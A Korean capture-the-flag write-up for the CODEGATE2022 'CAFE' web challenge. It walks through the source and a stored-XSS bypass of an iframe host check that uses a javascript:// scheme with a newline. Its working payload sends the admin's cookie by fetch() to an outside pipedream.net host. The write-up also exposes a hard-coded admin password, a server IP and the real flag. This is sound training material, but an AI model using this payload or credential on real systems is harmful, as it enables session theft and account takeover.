[Clear] CODEGATE2022 CAFE Writeup
주어진 페이지에 접근해보자. CAFE라는 서비스를 이용 할 수 있는 페이지가 나타나며, 회원가입 후 로그인하면 글을 읽고 Report를 통해 서버가 해당 작성글을 읽을 수 있도록 하는 것 같다. 전형적인 XSS문제처럼 보인다.
주어진 소스를 분석해보자.
우선 플래그를 읽는 방법을 분석해보자. db.sql 파일에서 데이터베이스가 어떻게 세팅되는지 분석해보면, 마지막 두 줄에 걸쳐 admin계정 생성 후 admin 계정으로 "flag" 라는 title에 플래그 값을 content로 하는 글을 작성함을 알 수 있다.
### db.sql
CREATE DATABASE IF NOT EXISTS `app` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
use `app`;
CREATE TABLE IF NOT EXISTS `users`(
`id` VARCHAR(32) NOT NULL PRIMARY KEY,
`pw` VARCHAR(64) NOT NULL,
`created` DATETIME
);
CREATE TABLE IF NOT EXISTS `posts`(
`no` INT(10) NOT NULL AUTO_INCREMENT PRIMARY KEY,
`title` TEXT NOT NULL,
`content` TEXT NOT NULL,
`writer` VARCHAR(32),
`views` INT
);
INSERT INTO `users` VALUES ('admin', '[FILTER]', now());
INSERT INTO `posts` VALUES (0, 'flag', 'codegate2022{EXAMPLE_FLAG}', 'admin', 0);
bot의 동작을 분석해보자. 우리가 예측한대로 report 요청이 오면 관리자 계정으로 로그인 후 해당 글을 읽도록 한다.
### bot.py
#!/usr/bin/python3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
import time
import sys
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--disable-logging')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--no-sandbox')
#options.add_argument("user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
driver = webdriver.Chrome(ChromeDriverManager().install(),options=options)
driver.implicitly_wait(3)
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4')
### 관리자 계정정보가 노출되어 언인텐 풀이가 가능하다..
driver.find_element_by_id('submit').click()
time.sleep(2)
driver.get('http://3.39.55.38:1929/read?no=' + str(sys.argv[1]))
time.sleep(2)
driver.quit()
main.php와 read.php를 분석해보면, 글을 읽는데는 글 작성 당사자 혹은 admin의 id가 필요함을 알 수 있다. 해당 로직에 활용되는 id값은는 phpsession을 통해 불러 온다.
### main. php
...
<?php
$id = $_SESSION['id'];
$posts = getPosts($id)['all'];
foreach($posts as $post) {
echo '<tr onclick=location.href="/read?no='.$post['no'].'">';
echo '<th scope="row">'.$post['no'].'</th>';
echo '<td>'.$post['title'].'</td>';
echo '<td>'.substr($post['content'],0,4).'..</td>';
echo '<td>'.$post['writer'].'</td>';
echo '<td>'.$post['views'].'</td>';
echo '</tr>';
}
?>
...
### read.php
...
<?php
if( isset($_GET['no']) ){
$no = intval($_GET['no']);
$id = $_SESSION['id'];
$res = getPost($no);
if ($id !== $res['val']['writer']) {
if ($id !== 'admin') { // admin cat see all posts
die('No');
}
}
updateViews($no);
}
?>
...
그렇다면, 우리가 생각 해 볼수 있는 시나리오는
1. 쿠키(세션)을 탈취하는 Stored XSS 구문이 포함된 글을 작성
2. Report 기능을 통해 admin이 해당 글에 접근하도록 하여 쿠키(세션) 탈취
3. 탈취한 쿠키(세션)을 활용하여 로그인 후 flag 확인
이 될 것이다.
그렇다면 이제 Stored XSS를 발생시킬 구문을 어떻게 작성할지 알아보도록 하자.
### util.php
...
function filterHtml($content) {
$result = '';
$html = new simple_html_dom();
$html->load($content);
$allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];
foreach($allowTag as $tag){
foreach($html->find($tag) as $element) {
switch ($tag) {
case 'a':
$result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
break;
case 'img':
$result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
break;
case 'p':
case 'span':
case 'b':
case 'h1':
case 'h2':
case 'h3':
case 'h4':
case 'h5':
case 'h6':
case 'strong':
case 'em':
case 'code':
$result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
break;
case 'iframe':
$src = $element->src;
$host = parse_url($src)['host'];
if (strpos($host, 'youtube.com') !== false){
$result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
}
break;
}
}
}
return $result;
}
...
libs/util.php 를 보면 허용되어있는 tag들과 각 tag에서의 제약사항을 알 수 있다.
xss구문에서 많이 사용되는 a, img tag에서는 " 가 필터링되어, 각각 href="", src=""를 탈출 할 수 없어서 구문을 만들 수 없다.
(a tag의 경우 xss구문 자체를 만들 순 있지만 autofocus 가 불가능하여 사용 할 수 없다.)
code tag는 익숙한 태그는 아니었는데 각 < > 안의 값이 code로 고정되어 xss를 발생시키기 어렵다고 판단했다.
(code tag에서의 xss 구문의 예시는 다음과 같다 : <code onclick="alert(1)">test</code>)
그렇다면 iframe tag를 활용해볼 차례이다. iframe tag의 제약조건에서는 src의 url에 대해 검사하는데, 특이하게 host가 youtube.com인지 검사한다. scheme에 대한 검증은 없으므로 http나 https 가 아닌 javascript scheme을 활용하여 XSS를 발생시킬 수 있다.
이런 케이스는 실제 모의해킹 업무를 할 때 종종 보이는 케이스이다.
대표적으로 https://service.com/login?returnUrl=~~와 같은 형식으로 로그인 성공/실패 시 redirect기능을 구현하곤 하는데, 인증되지 않은 타 사이트로의 리다이렉트를 막기 위해서 host를 검증하긴하지만 scheme에 대한 검증이 없는 경우가 있다.
이럴 때 아래와 같은 구문으로 XSS를 발생시킬 수 있다.
javascript://service.com#%0aalert(1)
처음 해당 구문을 발견할때는 이렇게 하면 될 것 같다는 감과 테스트를 통해서 깨우쳤(?)는데 아래와 같은 레퍼런스도 존재한다.
https://hackerone.com/reports/316319
Semrush disclosed on HackerOne: XSS on redirection page( Bypassed)
hackerone.com
원리는 javascript: 에서 // 를 한줄주석으로 인식하여 host부분이 주석으로 인식되지만, %0a 개행 또한 개행된것으로 인식되어 뒷부분의 스크립트가 실행된다. 그러나 url이 파싱되는과정에서는 [scheme]://[host] ~~ 처럼 인식되므로 host검증은 통과 할 수 있는것이다.
그렇다면 아래와 같이 XSS payload가 잘 작동하는지 테스트해보자.
<iframe src="javascript://youtube.com#%0afetch('https://enngfntpvbo0otw.m.pipedream.net/'+document.cookie)"></iframe>
정상적으로 공격자의 서버에 phpsession이 전달됨을 확인 할 수 있다.
해당 테스트 글이 유효하므로 이를 Report하면 admin의 세션 정보를 획득 할 수 있으며
이를 통해 flag 게시글을 읽을 수 있다.
FLAG = codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}